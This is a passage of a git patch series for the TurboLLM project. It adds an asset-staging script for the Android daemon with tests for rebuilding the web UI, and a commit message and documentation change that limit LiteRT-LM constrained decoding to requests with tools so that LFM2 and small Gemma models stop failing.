console.error(`FATAL: no turbollm checkout at ${turbollm}\nPass its path: node scripts/stage-daemon-assets.mjs `) + process.exit(1) } - return total + + // Always rebuild the Android bundle rather than reusing whatever is on disk. It takes ~200 ms, + // and the alternative is the failure mode this whole pipeline exists to prevent: an APK that + // looks fine and silently ships a daemon older than the source. The web UI is rebuilt below + // only when web/ has changed since its last build (ensureWebUi): it takes 40-55 s. + console.log('building the Android daemon bundle…') + try { + execSync('npx tsup --config tsup.android.config.ts', { cwd: turbollm, stdio: 'inherit' }) + } catch { + console.error(`FATAL: the Android daemon bundle failed to build in ${turbollm}`) + process.exit(1) + } + + for (const [label, p] of [ + ['android bundle', bundle], + ['android preload', preload], + ['sql.js (run: npm install in turbollm)', sqlJs], + ]) { + if (!existsSync(p)) { + console.error(`FATAL: missing ${label}: ${p}`) + process.exit(1) + } + } + + try { + ensureWebUi(turbollm) + } catch (e) { + console.error(`FATAL: ${e.message}`) + process.exit(1) + } + + rmSync(assets, { recursive: true, force: true }) + mkdirSync(join(assets, 'dist'), { recursive: true }) + + cpSync(bundle, join(assets, 'dist'), { recursive: true }) + cpSync(webdist, join(assets, 'dist', 'webdist'), { recursive: true }) + cpSync(preload, join(assets, 'dist', 'android-preload.cjs')) + + // sql.js's JS ends up bundled (the Android pass bundles everything), but its .wasm cannot be — + // it is a binary the module loads at runtime via `__dirname + "/sql-wasm.wasm"`. The banner in + // tsup.android.config.ts points `__dirname` at this dist/ directory, so the wasm goes here + // rather than into a node_modules tree. Only the wasm is needed; the package's other 23 MB is + // asm.js, browser and debug variants. + cpSync(join(sqlJs, 'dist', 'sql-wasm.wasm'), join(assets, 'dist', 'sql-wasm.wasm')) + + // `ws` is reached through a real runtime `require('ws')` (registerTerminalWs), not a static + // import, so esbuild cannot bundle it and it has to exist as a resolvable package — Node walks + // up from dist/ and finds daemon/node_modules/. It is the ONLY such case that matters here: + // the source has exactly three bare requires — 'net' (a builtin), 'node-pty' (native, and only + // reached by the Code feature, which is cut from Android) and this one. `ws` itself has no + // runtime dependencies, so copying the package alone is sufficient. + const wsSrc = join(turbollm, 'node_modules', 'ws') + if (!existsSync(wsSrc)) { + console.error(`FATAL: missing ws: ${wsSrc}`) + process.exit(1) + } + cpSync(wsSrc, join(assets, 'node_modules', 'ws'), { recursive: true }) + + // The daemon bundle is ESM. Node decides that by walking up for the nearest package.json, + // and once extracted to filesDir there is no other one above it. It is also where the daemon + // reads its own version (cli.ts: `/../package.json`) — without one it fell back + // to '0.1.1' in the UI, telemetry, Turbo Link hello and the update check on every Android install. + const { version } = JSON.parse(readFileSync(join(turbollm, 'package.json'), 'utf8')) + if (typeof version !== 'string' || !version) { + console.error(`FATAL: no version in ${join(turbollm, 'package.json')}`) + process.exit(1) + } + writeFileSync(join(assets, 'package.json'), `${JSON.stringify({ type: 'module', version })}\n`) + + function du(dir) { + let total = 0 + for (const e of readdirSync(dir, { withFileTypes: true })) { + const p = join(dir, e.name) + total += e.isDirectory() ? du(p) : statSync(p).size + } + return total + } + console.log(`staged daemon assets → ${assets}`) + console.log(`payload: ${(du(assets) / 1e6).toFixed(1)} MB`) } -console.log(`staged daemon assets → ${assets}`) -console.log(`payload: ${(du(assets) / 1e6).toFixed(1)} MB`) + +// Run as a script; the test imports the web UI check without staging anything. +if (process.argv[1] && realpathSync(process.argv[1]) === realpathSync(fileURLToPath(import.meta.url))) main() diff --git a/scripts/stage-daemon-assets.test.mjs b/scripts/stage-daemon-assets.test.mjs new file mode 100644 index 0000000..28d6b8c --- /dev/null +++ b/scripts/stage-daemon-assets.test.mjs @@ -0,0 +1,396 @@ +// Tests for the web UI step of scripts/stage-daemon-assets.mjs, which builds turbollm's web UI again whenever web/ +// is not what it was last built from: +// node --test scripts/stage-daemon-assets.test.mjs +// Everything runs on a fake turbollm checkout in a temp folder; nothing builds the real web UI. The tests of the whole +// script run it as Gradle's stageDaemonAssets does, from a copy in a temp app checkout (the script stages into the app +// checkout it sits in), against a checkout with a stand-in tsup and a web/ whose `npm run build` is a small node +// script. Those need npm and a POSIX shell for the stand-in tsup, so they are skipped on Windows. +import assert from 'node:assert/strict' +import { spawnSync } from 'node:child_process' +import fs, { + chmodSync, cpSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, symlinkSync, utimesSync, writeFileSync, +} from 'node:fs' +import { createHash } from 'node:crypto' +import { syncBuiltinESMExports } from 'node:module' +import { tmpdir } from 'node:os' +import { dirname, join } from 'node:path' +import { after, test } from 'node:test' +import { fileURLToPath } from 'node:url' + +import { WEB_STAMP, ensureWebUi, webDepsProblem, webInputs } from './stage-daemon-assets.mjs' + +const script = fileURLToPath(new URL('./stage-daemon-assets.mjs', import.meta.url)) +const work = mkdtempSync(join(tmpdir(), 'stage-daemon-assets-test-')) +after(() => rmSync(work, { recursive: true, force: true })) + +function write(path, text) { + mkdirSync(dirname(path), { recursive: true }) + writeFileSync(path, text) +} +const json = (path) => JSON.parse(readFileSync(path, 'utf8')) + +// web/'s build does what vite does with emptyOutDir: it replaces src/webdist with its output, here an index.html +// holding web/src/app.txt, and it notes each run in builds.log. Each build dates its index.html after the last +// build's and after anything the test wrote. ensureWebUi tells a new index.html by its mtime, as a real build takes +// far longer than a file system's timestamp step; these take under a millisecond, and the new index.html can get the +// old one's inode, so where timestamps step by a clock tick (Linux before 6.13) or a second, nothing else tells them +// apart. +const FAKE_BUILD = `import { appendFileSync, mkdirSync, readFileSync, rmSync, utimesSync, writeFileSync } from 'node:fs' +rmSync('../src/webdist', { recursive: true, force: true }) +mkdirSync('../src/webdist', { recursive: true }) +writeFileSync('../src/webdist/index.html', readFileSync('src/app.txt')) +appendFileSync('../builds.log', 'built\\n') +const t = Date.now() / 1000 + 10 * readFileSync('../builds.log').length +utimesSync('../src/webdist/index.html', t, t) +` +// The same build in this process, for ensureWebUi's injected build. +let clock = 0 +function build(web) { + const index = join(web, '..', 'src', 'webdist', 'index.html') + rmSync(join(web, '..', 'src', 'webdist'), { recursive: true, force: true }) + write(index, readFileSync(join(web, 'src', 'app.txt'))) + const t = Date.now() / 1000 + 10 * ++clock + utimesSync(index, t, t) + builds.push(web) +} +let builds = [] +const quiet = { build, log: () => {} } + +let made = 0 +// A turbollm checkout with what the staging script reads. Its web/package-lock.json has a package for another +// platform (optional) that web/node_modules does not, as on any machine. +function fakeTurbollm() { + const tl = join(work, `turbollm-${++made}`) + const web = join(tl, 'web') + write(join(tl, 'package.json'), '{"name":"turbollm","version":"1.2.3"}\n') + write(join(tl, 'src', 'util', 'android-preload.cjs'), '\n') + write(join(tl, 'node_modules', 'sql.js', 'dist', 'sql-wasm.wasm'), 'wasm') + write(join(tl, 'node_modules', 'ws', 'package.json'), '{"name":"ws","version":"8.0.0"}\n') + write(join(web, 'package.json'), `${JSON.stringify({ name: 'web', private: true, scripts: { build: 'node fake-build.mjs' } })}\n`) + write(join(web, 'package-lock.json'), `${JSON.stringify({ name: 'web', lockfileVersion: 3, requires: true, packages: { + '': { name: 'web' }, + 'node_modules/vite': { version: '7.3.7', dev: true }, + 'node_modules/@esbuild/win32-x64': { version: '0.25.0', dev: true, optional: true, os: ['win32'], cpu: ['x64'] }, + } })}\n`) + write(join(web, 'node_modules', '.package-lock.json'), `${JSON.stringify({ name: 'web', lockfileVersion: 3, requires: true, packages: { + 'node_modules/vite': { version: '7.3.7', dev: true }, + } })}\n`) + write(join(web, 'node_modules', 'vite', 'package.json'), '{"name":"vite","version":"7.3.7"}\n') + write(join(web, 'fake-build.mjs'), FAKE_BUILD) + write(join(web, 'index.html'), '
\n') + write(join(web, 'src', 'app.txt'), 'version 1\n') + return tl +} +const stampOf = (tl) => json(join(tl, 'src', 'webdist', WEB_STAMP)) + +test('a web UI built from web/ as it is now is not built again', () => { + builds = [] + const tl = fakeTurbollm() + assert.equal(ensureWebUi(tl, quiet), true, 'no web UI yet: built') + assert.equal(ensureWebUi(tl, quiet), false) + assert.equal(ensureWebUi(tl, quiet), false) + assert.equal(builds.length, 1) +}) + +test('a changed file under web/ builds the web UI again, then stamps it', () => { + builds = [] + const tl = fakeTurbollm() + const web = join(tl, 'web') + ensureWebUi(tl, quiet) + write(join(web, 'src', 'app.txt'), 'version 2\n') + assert.equal(ensureWebUi(tl, quiet), true) + assert.equal(readFileSync(join(tl, 'src', 'webdist', 'index.html'), 'utf8'), 'version 2\n') + assert.deepEqual(stampOf(tl), { version: 1, inputs: webInputs(web).hash, files: webInputs(web).files }) + // A file added, and a lockfile change (web/node_modules updated with it), each count as a change too. + write(join(web, 'src', 'new.tsx'), 'export {}\n') + assert.equal(ensureWebUi(tl, quiet), true) + const lock = json(join(web, 'package-lock.json')) + const installed = json(join(web, 'node_modules', '.package-lock.json')) + lock.packages['node_modules/vite'].version = installed.packages['node_modules/vite'].version = '7.3.8' + write(join(web, 'package-lock.json'), JSON.stringify(lock)) + write(join(web, 'node_modules', '.package-lock.json'), JSON.stringify(installed)) + assert.equal(ensureWebUi(tl, quiet), true) + assert.equal(ensureWebUi(tl, quiet), false) + assert.equal(builds.length, 4) +}) + +test('a web UI with no stamp, or a stamp of another kind, is built again', () => { + builds = [] + const tl = fakeTurbollm() + // Built by hand or by an older staging script: an index.html and no record of what it came from. + write(join(tl, 'src', 'webdist', 'index.html'), 'version 0\n') + assert.equal(ensureWebUi(tl, quiet), true) + assert.equal(readFileSync(join(tl, 'src', 'webdist', 'index.html'), 'utf8'), 'version 1\n') + write(join(tl, 'src', 'webdist', WEB_STAMP), JSON.stringify({ ...stampOf(tl), version: 0 })) + assert.equal(ensureWebUi(tl, quiet), true) + assert.equal(builds.length, 2) +}) + +test('a web build that fails, or that a change overtakes, is built again next time', () => { + const tl = fakeTurbollm() + const app = join(tl, 'web', 'src', 'app.txt') + const index = join(tl, 'src', 'webdist', 'index.html') + ensureWebUi(tl, quiet) + // A build that dies halfway, after writing some of its output: no stamp is left to vouch for what is there, so + // even with web/ back as the last stamp had it, the half-built UI is not taken for that build. + write(app, 'version 2\n') + const failing = { log() {}, build() { write(index, 'BROKEN\n'); throw new Error('vite died') } } + assert.throws(() => ensureWebUi(tl, failing), /^Error: the web UI failed to build in /) + assert.equal(existsSync(join(tl, 'src', 'webdist', WEB_STAMP)), false, 'no stamp after a failed build') + write(app, 'version 1\n') + assert.equal(ensureWebUi(tl, quiet), true) + assert.equal(readFileSync(index, 'utf8'), 'version 1\n') + // A file saved while the build runs: the UI was built from the file as it was before, which is what the stamp + // says, so the next staging builds again. + write(app, 'version 2\n') + const overtaken = { log() {}, build(web) { build(web); write(app, 'version 3\n') } } + assert.equal(ensureWebUi(tl, overtaken), true) + assert.equal(readFileSync(index, 'utf8'), 'version 2\n') + assert.equal(ensureWebUi(tl, quiet), true, 'built again: web/ changed while the last build ran') + assert.equal(readFileSync(index, 'utf8'), 'version 3\n') + assert.equal(ensureWebUi(tl, quiet), false) +}) + +test('a web build that writes no index.html into webdist fails, and stamps nothing', () => { + const tl = fakeTurbollm() + const stamp = join(tl, 'src', 'webdist', WEB_STAMP) + // What a web/ whose build puts its output somewhere else would do: exit 0 and leave webdist as it was. + const elsewhere = { log() {}, build() {} } + assert.throws(() => ensureWebUi(tl, elsewhere), /^Error: the web UI build did not write .*index\.html$/) + assert.equal(existsSync(stamp), false) + ensureWebUi(tl, quiet) + write(join(tl, 'web', 'src', 'app.txt'), 'version 2\n') + assert.throws(() => ensureWebUi(tl, elsewhere), /^Error: the web UI build did not write .*index\.html$/, + 'an older build there is not the new one') + assert.equal(existsSync(stamp), false) + assert.equal(readFileSync(join(tl, 'src', 'webdist', 'index.html'), 'utf8'), 'version 1\n') + assert.equal(ensureWebUi(tl, quiet), true) +}) + +test('missing or mismatched web/node_modules stops with the command to run, and builds nothing', () => { + builds = [] + const tl = fakeTurbollm() + const web = join(tl, 'web') + const command = `npm --prefix "${web}" ci` + const installedPath = join(web, 'node_modules', '.package-lock.json') + const installed = readFileSync(installedPath, 'utf8') + assert.equal(webDepsProblem(web), null, "another platform's optional package is not needed") + + write(installedPath, installed.replace('"7.3.7"', '"7.3.6"')) + assert.throws(() => ensureWebUi(tl, quiet), (e) => { + assert.match(e.message, /web\/node_modules has vite 7\.3\.6, web\/package-lock\.json 7\.3\.7/) + assert.ok(e.message.endsWith(command), e.message) + return true + }) + write(installedPath, JSON.stringify({ packages: {} })) + assert.throws(() => ensureWebUi(tl, quiet), /vite 7\.3\.7 is in web\/package-lock\.json but not in web\/node_modules/) + rmSync(join(web, 'node_modules'), { recursive: true }) + assert.throws(() => ensureWebUi(tl, quiet), (e) => { + assert.match(e.message, /^the web UI has to be built, as there is no web UI build, but web\/node_modules is missing\./) + assert.ok(e.message.endsWith(command), e.message) + return true + }) + assert.equal(builds.length, 0) + assert.equal(existsSync(join(tl, 'src', 'webdist')), false) + + // With nothing to build, web/'s packages are not needed. + write(installedPath, installed) + ensureWebUi(tl, quiet) + rmSync(join(web, 'node_modules'), { recursive: true }) + assert.equal(ensureWebUi(tl, quiet), false) +}) + +test('a dangling symlink, a symlink to a folder, packages, caches and test output are not web build inputs', (t) => { + const tl = fakeTurbollm() + const web = join(tl, 'web') + const before = webInputs(web) + write(join(web, '.vite', 'deps', 'chunk.js'), 'cache') + write(join(web, 'src', '.cache', 'x'), 'cache') + write(join(web, 'node_modules', 'vite', 'index.js'), 'package') + write(join(web, 'src', 'x', 'node_modules', 'y.js'), 'package') + write(join(web, 'test-results', 'run.json'), '{}') + write(join(web, 'playwright-report', 'index.html'), 'report') + write(join(web, 'src', '.DS_Store'), 'finder') + assert.deepEqual(webInputs(web), before) + // A dotfile is an input, though: vite reads web/.env*. + write(join(web, '.env.local'), 'VITE_X=1\n') + assert.notEqual(webInputs(web).hash, before.hash) + rmSync(join(web, '.env.local')) + + const outside = join(work, `outside-${made}`) + write(join(outside, 'a.tsx'), 'export {}\n') + try { + symlinkSync(join(web, 'src', 'no-such-file.tsx'), join(web, 'src', 'gone.tsx')) + symlinkSync(outside, join(web, 'src', 'linked'), 'dir') + } catch (e) { + if (process.platform === 'win32' && e.code === 'EPERM') return t.skip('symlinks need Developer Mode on Windows') + throw e + } + assert.deepEqual(webInputs(web), before) + assert.equal(ensureWebUi(tl, quiet), true, 'the walk gets through them') + // A symlink to a file counts as that file. + symlinkSync(join(outside, 'a.tsx'), join(web, 'src', 'a.tsx')) + assert.notEqual(webInputs(web).hash, before.hash) +}) + +test('a file or folder that goes away while web/ is hashed is left out, not an error', () => { + const tl = fakeTurbollm() + const web = join(tl, 'web') + const saved = join(web, 'src', 'App.tsx') + const tmp = join(web, 'src', 'tmp') + write(saved, 'export {}\n') + write(join(tmp, 'x.ts'), 'export {}\n') + // Each goes away after the walk has listed it and before it is read, as an editor's safe write moves a file aside + // for a moment (fs's own functions, which the script's imports of node:fs follow, are wrapped for this one call). + const { readFileSync: read, readdirSync: list } = fs + fs.readFileSync = (path, ...rest) => { + if (path === saved) rmSync(saved) + return read(path, ...rest) + } + fs.readdirSync = (path, ...rest) => { + if (path === tmp) rmSync(tmp, { recursive: true }) + return list(path, ...rest) + } + syncBuiltinESMExports() + let during + try { + during = webInputs(web) + } finally { + Object.assign(fs, { readFileSync: read, readdirSync: list }) + syncBuiltinESMExports() + } + assert.equal(existsSync(saved) || existsSync(tmp), false, 'both went away during the hash') + assert.deepEqual(during, webInputs(web), 'the hash of web/ without them') +}) + +test('folders and files that Windows lists as links but are not (OneDrive placeholders) are web build inputs', () => { + const tl = fakeTurbollm() + const web = join(tl, 'web') + const menu = join(web, 'src', 'components', 'Menu.tsx') + write(menu, 'export {}\n') + write(join(web, 'src', '.DS_Store'), 'finder') + write(join(web, '.vite', 'deps', 'chunk.js'), 'cache') + const outside = join(work, `outside-reparse-${made}`) + write(join(outside, 'a.tsx'), 'export {}\n') + try { + symlinkSync(outside, join(web, 'src', 'linked'), 'dir') // a real link, which is still not followed + } catch (e) { + if (process.platform !== 'win32' || e.code !== 'EPERM') throw e + } + const listed = webInputs(web) + // On Windows, libuv's scandir types every entry with FILE_ATTRIBUTE_REPARSE_POINT as a link, and Node's Dirent says + // what libuv says: in a folder OneDrive keeps, whose folders and files are placeholders (reparse points), every + // entry is listed as a link. That is done here to every folder and file under web/ (fs's readdirSync, which the + // script's import of node:fs follows, is wrapped for this). + const { readdirSync: list } = fs + fs.readdirSync = (path, options) => { + const entries = list(path, options) + if (!options?.withFileTypes) return entries + const { UV_DIRENT_LINK } = fs.constants + return entries.map((e) => (e.isDirectory() || e.isFile() ? new fs.Dirent(e.name, UV_DIRENT_LINK, path) : e)) + } + syncBuiltinESMExports() + let asOnWindows, edited + try { + const src = fs.readdirSync(web, { withFileTypes: true }).find((e) => e.name === 'src') + assert.ok(src.isSymbolicLink() && !src.isDirectory(), 'src/ is listed as a link') + asOnWindows = webInputs(web) + write(menu, 'export const menu = 1\n') + edited = webInputs(web) + } finally { + fs.readdirSync = list + syncBuiltinESMExports() + } + assert.deepEqual(asOnWindows, listed, 'every folder walked and the same files hashed as when listed as what they are') + assert.notEqual(edited.hash, asOnWindows.hash, 'a change in a subfolder is seen') +}) + +test('the inputs hash is the same on every run, whatever order the files were made in', () => { + // 'src/C.tsx' is before 'src/a.tsx' in code-unit order (C is U+0043, a U+0061) and after it in a locale's. + const files = { 'src/b.tsx': 'b', 'src/a/z.ts': 'z', 'index.html': '
', 'src/a.tsx': 'a', 'package.json': '{}', 'src/C.tsx': 'C' } + const one = join(work, `order-1-${made}`) + const two = join(work, `order-2-${made}`) + for (const [p, text] of Object.entries(files)) write(join(one, ...p.split('/')), text) + for (const [p, text] of Object.entries(files).reverse()) write(join(two, ...p.split('/')), text) + const first = webInputs(one) + assert.deepEqual(webInputs(one), first) + assert.deepEqual(webInputs(two), first) + // Its definition, which every platform computes alike: each file's '/'-joined path, length and bytes, sorted by path. + const want = createHash('sha256') + for (const p of Object.keys(files).sort()) want.update(`${p}\0${files[p].length}\0`).update(files[p]) + assert.deepEqual(first, { hash: want.digest('hex'), files: 6 }) + // A file moved to another folder is a change even with the same bytes. + write(join(two, 'src', 'a', 'b.tsx'), 'b') + rmSync(join(two, 'src', 'b.tsx')) + assert.notEqual(webInputs(two).hash, first.hash) +}) + +// ── The whole script ────────────────────────────────────────────────────────────────────── + +const npm = spawnSync('npm', ['--version'], { stdio: 'ignore', shell: process.platform === 'win32' }) +const scriptSkip = process.platform === 'win32' ? 'the stand-in tsup is a POSIX executable' + : npm.error || npm.status !== 0 ? 'no npm on this machine' : false + +// The checkout of fakeTurbollm, plus a tsup that writes dist-android/cli.js, as npx finds it. +function fakeCheckout() { + const tl = fakeTurbollm() + write(join(tl, 'node_modules', 'tsup', 'package.json'), '{"name":"tsup","version":"8.0.0","bin":{"tsup":"cli.mjs"}}\n') + write(join(tl, 'node_modules', 'tsup', 'cli.mjs'), `#!/usr/bin/env node +import { mkdirSync, writeFileSync } from 'node:fs' +mkdirSync('dist-android', { recursive: true }) +writeFileSync('dist-android/cli.js', 'export {}\\n') +`) + chmodSync(join(tl, 'node_modules', 'tsup', 'cli.mjs'), 0o755) + mkdirSync(join(tl, 'node_modules', '.bin'), { recursive: true }) + symlinkSync('../tsup/cli.mjs', join(tl, 'node_modules', '.bin', 'tsup')) + return tl +} +function stage(tl) { + const app = join(work, `app-${made}`) + mkdirSync(join(app, 'scripts'), { recursive: true }) + cpSync(script, join(app, 'scripts', 'stage-daemon-assets.mjs')) + // Bounded, so a stuck npx or npm fails this test by name instead of holding the run. The timeout signals only the + // staging script, so it leads a group of its own and a timed-out run takes its npm children with it. + const r = spawnSync(process.execPath, [join(app, 'scripts', 'stage-daemon-assets.mjs'), tl], { + encoding: 'utf8', env: { ...process.env, npm_config_update_notifier: 'false' }, timeout: 120_000, detached: true, + }) + if (r.error?.code === 'ETIMEDOUT') { + try { process.kill(-r.pid, 'SIGKILL') } catch { /* the group is gone */ } + } + assert.equal(r.error, undefined, `the staging script did not finish: ${r.error?.message}`) + const staged = join(app, 'composeApp', 'src', 'androidMain', 'assets', 'daemon', 'dist', 'webdist') + return { ...r, staged } +} +const builtTimes = (tl) => (existsSync(join(tl, 'builds.log')) ? readFileSync(join(tl, 'builds.log'), 'utf8').split('\n').length - 1 : 0) + +test('the staging script builds a web UI older than web/ before it stages it, and only then', { skip: scriptSkip }, () => { + const tl = fakeCheckout() + // Built from older sources, the way a pull or a branch switch leaves it. + write(join(tl, 'src', 'webdist', 'index.html'), 'version 0\n') + let r = stage(tl) + assert.equal(r.status, 0, r.stderr) + assert.equal(readFileSync(join(r.staged, 'index.html'), 'utf8'), 'version 1\n', 'the APK carries the web UI of web/ as it is') + assert.match(r.stdout, /building the web UI: the web UI build there has no record of what it was built from/) + assert.deepEqual(json(join(r.staged, WEB_STAMP)), stampOf(tl)) + r = stage(tl) + assert.equal(r.status, 0, r.stderr) + assert.match(r.stdout, /web UI up to date/) + assert.equal(builtTimes(tl), 1) + write(join(tl, 'web', 'src', 'app.txt'), 'version 2\n') + r = stage(tl) + assert.equal(r.status, 0, r.stderr) + assert.equal(readFileSync(join(r.staged, 'index.html'), 'utf8'), 'version 2\n') + assert.equal(builtTimes(tl), 2) +}) + +test('the staging script stops with the command to run when web/node_modules is missing', { skip: scriptSkip }, () => { + const tl = fakeCheckout() + write(join(tl, 'src', 'webdist', 'index.html'), 'version 0\n') + rmSync(join(tl, 'web', 'node_modules'), { recursive: true }) + const r = stage(tl) + assert.equal(r.status, 1) + assert.match(r.stderr, /FATAL: the web UI has to be built, .* but web\/node_modules is missing\./) + assert.ok(r.stderr.includes(`npm --prefix "${join(tl, 'web')}" ci`), r.stderr) + assert.equal(existsSync(r.staged), false, 'nothing staged') + assert.equal(builtTimes(tl), 0) +}) From 26a42e682887a702481d3e75edc19bf0e7278e21 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 17:25:37 +0000 Subject: [PATCH 66/80] fix(litert-lm-server): chats with LFM2 and gemma-3-270m no longer fail On the owner's phone (Mali-G715) LFM2.5-230M int8 loaded ("Engine ready in 10.4 s"), and then its first chat request, the daemon's one-token warm-up, got a 500 "RuntimeError: Failed to create conversation: FAILED_PRECONDITION: Constrained decoding is not supported for Lfm2DataProcessor.", so the model never finished loading in the app; every later request would have got the same. The server turned constrained decoding on for every request, as the Python `litert-lm serve` does (0.18.0, and upstream's main today), and Conversation::Create passes the flag to the model's data processor, which may refuse it. LFM2's always does (lfm2_data_processor.cc:53-56 in LiteRT-LM 0.18.0's runtime/conversation/model_data_processor). Gemma 3's, Gemma 4's and FunctionGemma's do when the FST constraint library rejects the model's vocabulary (gemma3_data_processor.cc: 146-150, gemma4_data_processor.cc:96-101 and function_gemma_data_processor.cc:219-224), as for gemma-3-270m-it: "INTERNAL: Failed to create GemmaModelConstraintProvider." Every request to such a model failed before anything was generated. The flag is for tool calls: with tools in the conversation, the data processors that can constrain them (Gemma 3's, Gemma 4's and FunctionGemma's, with the FST library) build a constraint so that the model's calls fit the tools (conversation.cc:401-413); the others, Qwen3's and the generic one among them, build none (model_data_processor.h:101-103), and without tools none is built. A response_format has its own constraint, from the LLGuidance provider (conversation.cc:397-400 and 433-440), which the flag does not touch. Older bug: origin/main has it since feat(engines): ship LiteRT-LM in the app as a native server (f9bd21c). - engines/litert-lm-server/src/main.cc: constrained decoding is on only for a request with tools. When the conversation cannot be created with it, it is created again without it, tools still passed: the model writes its calls unconstrained and its data processor parses them as always, as under `litert-lm run`, which never turns the flag on. That second attempt, not the message, tells whether the flag was the cause. The server then remembers it for the loaded engine until another is loaded, so later requests with tools skip the first attempt, and it logs once per load "constrained decoding is not available for (); its tool calls are not constrained". The runtime's own "Failed to create conversation" line for that first attempt also shows once per load. A response_format the model cannot follow is a 400 that names the reason: when the conversation cannot be created with the LLGuidance provider but can be without it (a model with no single-token stop sequence, or a tokenizer llguidance cannot take), the reply is "Invalid response_format parameters: this model cannot follow a response_format: ". A regex or JSON schema llguidance cannot compile fails as the message is sent, with a 500 "RuntimeError: litert_lm_conversation_send_message_stream failed: INTERNAL: Failed to create LLGuidance constraint: ..."; it is now a 400 "Invalid response_format parameters: INTERNAL: Failed to create LLGuidance constraint: ...", told by that message (llg_constraint_provider.cc:155-160). Any other failure is the 500 it was. The chat handler is the only place that creates a conversation or a session; nothing else sets the flag. - BUILDING-ENGINES.md: says so under "What the server is", and the "No phone has run it successfully" bullet (now "No phone has answered a chat yet") says what the owner's phone ran and which models the chroot runs. Behaviour change: chats with LFM2 models and gemma-3-270m-it are answered, streamed or not, with tools and with a response_format; a request with tools to such a model gets the tool calls the model wrote unconstrained, parsed by its data processor (a call it cannot parse fails the request, as for any model whose calls are not constrained). A request without tools no longer turns constrained decoding on, so a Gemma model's data processor no longer builds its FST constraint provider for one; the replies of the models that worked before are the same. A response_format whose regex or JSON schema llguidance rejects, or one the model cannot follow, gets a 400 instead of a 500. Tests: engines/litert-lm-server/constrained-decoding.test.mjs (new, node --test, Node 22 and 18.20.4) builds the server with c++ as parent-death.test.mjs does (Linux; skipped elsewhere or without cc and c++), against engines/litert-lm-server/testdata/fake_litert_lm.cc, a stand-in liblitert-lm.so that answers the conversation calls as 0.18.0 does for an LFM2 model, Gemma models and a few failures, and whose reply says how its conversation was created: "a chat with an LFM2 model is answered, streamed or not, without constrained decoding", "constrained decoding is turned on for a request with tools, and only for one", "a request with tools to a model that refuses constrained decoding is answered without it, found out once per load", "a response_format is followed by a model that refuses constrained decoding", "a response_format the model cannot follow is a 400 that says why", "a response_format whose regex does not compile is a 400 that says why" and "a conversation that cannot be created at all is still a 500 with the runtime's reason". With main.cc as it was, all but the last fail: the owner's 500, constrained decoding on for requests without tools, 500s for the 400s. The last passes either way. With LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, "a real model answers a chat, a stream, tools and a response_format: " runs the server on each model (skipped otherwise). With the manylinux 0.18.0 library it fails with main.cc as it was on all five models tried: LFM2.5-230M_int8 and gemma-3-270m-it with the owner's 500 and the Gemma one, gemma-3-1b-it, a FunctionGemma 270M and Qwen3-0.6B with the bad regex's 500. It passes on all five now, and each model's server is killed when its own test ends. Every wait in the file is bounded (the compiler check, the builds, a server's start, each request and each test), so a server that hangs fails the test by name instead of holding the run, and its after() waits for its before(), so a --test-name-pattern that matches none of its tests does not fail the file. No existing test changed. Also checked, in the x86_64 Android 15 emulator image's userland under chroot, with the staged liblitert-lm.so and the NDK build of the server, on CPU, ten requests per model: plain, streamed, tools, streamed tools, json_schema, regex, tools with json_object, a regex and a schema llguidance rejects, plain again. Before: LFM2.5-230M_int8 got the owner's 500 for all ten, gemma-3-270m-it the Gemma one for all ten; gemma-3-1b-it, the FunctionGemma 270M (mobile-actions_q8_ekv1024) and Qwen3-0.6B answered, with a 500 for the two bad constraints. Now LFM2.5-230M_int8 answers all eight others ("Hello!", get_weather {"city":"Paris"} streamed or not, {"city":"New York","country":"United States"}, "yes", ...), gemma-3-270m-it answers them too, and the other three give the same eight replies as before: text, reasoning, tool calls, finish reasons and token counts, the FunctionGemma's tool calls still constrained. The two bad constraints get 400s on all five. Upstream's own `litert-lm serve` 0.18.0 (pip, manylinux) fails the same way on LFM2.5-230M_int8 and gemma-3-270m-it: a 500 "RuntimeError: Failed to create conversation", the same runtime errors in its log. The NDK 27 builds for arm64-v8a and x86_64 (stage-litert-lm-engine.mjs, and stageLitertLmEngine in :composeApp:mergeDebugJniLibFolders) compile without warnings, and :composeApp:compileDebugKotlinAndroid passes. Not run on a device. Device check: an LFM2 .litertlm (LFM2.5-230M int8) loads, a chat answers, and a request with tools is answered, also with a tool that takes an array of objects (the call may not fit the schema, or may fail with "Failed to parse tool calls", but never with "Failed to create conversation"); the engine log shows "constrained decoding is not available for LFM2.5-230M_int8.litertlm (...)" once per load. TurboLLM on desktop and under Termux runs Google's Python `litert-lm serve`, which still fails every request to these models; that is not changed here. --- BUILDING-ENGINES.md | 35 +- .../constrained-decoding.test.mjs | 310 ++++++++++++++++++ engines/litert-lm-server/src/main.cc | 68 +++- .../testdata/fake_litert_lm.cc | 147 +++++++++ 4 files changed, 549 insertions(+), 11 deletions(-) create mode 100644 engines/litert-lm-server/constrained-decoding.test.mjs create mode 100644 engines/litert-lm-server/testdata/fake_litert_lm.cc diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 22600aa..91e0f25 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -331,6 +331,23 @@ for thinking-channel text, `finish_reason: "length"` when the token budget runs cancels a generation when its client disconnects. Not ported: `/v1/responses`, `/v1/embeddings` and http(s) image URLs (TurboLLM uses none of them with this engine). +**Constrained decoding is on only for a request with tools**, which is all it is for: the data +processors that support it (Gemma 3's, Gemma 4's and FunctionGemma's) then constrain the model's +tool calls to the tools given; the others, Qwen3's for one, never do. The Python server turns it +on for every request (0.18.0 and upstream's main), and some data processors refuse it whatever +the request: LFM2's always, and Gemma 3's, Gemma 4's and FunctionGemma's when the FST constraint +library rejects the model's vocabulary (gemma-3-270m-it's does). Every request to such a model +fails with `litert-lm serve`, and did here. A request with tools to such a model is now answered +without the constraint (the model's own tool-call parsing still applies, and a call it writes in +a form that parsing cannot read fails the request, as for any model whose calls are not +constrained), and the server logs once per load that the model cannot constrain tool calls. A +`response_format` has its own constraint (llguidance) and works on these models too; one the +model cannot follow, or whose regex or JSON schema llguidance rejects, gets a 400 that names the +reason instead of a 500. `node --test engines/litert-lm-server/constrained-decoding.test.mjs` +checks this against a stand-in `liblitert-lm.so` that answers as 0.18.0 does for those models, +and on real models when `LITERT_LM_TEST_LIBRARY` and `LITERT_LM_TEST_MODELS` are set (see the +file). + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's 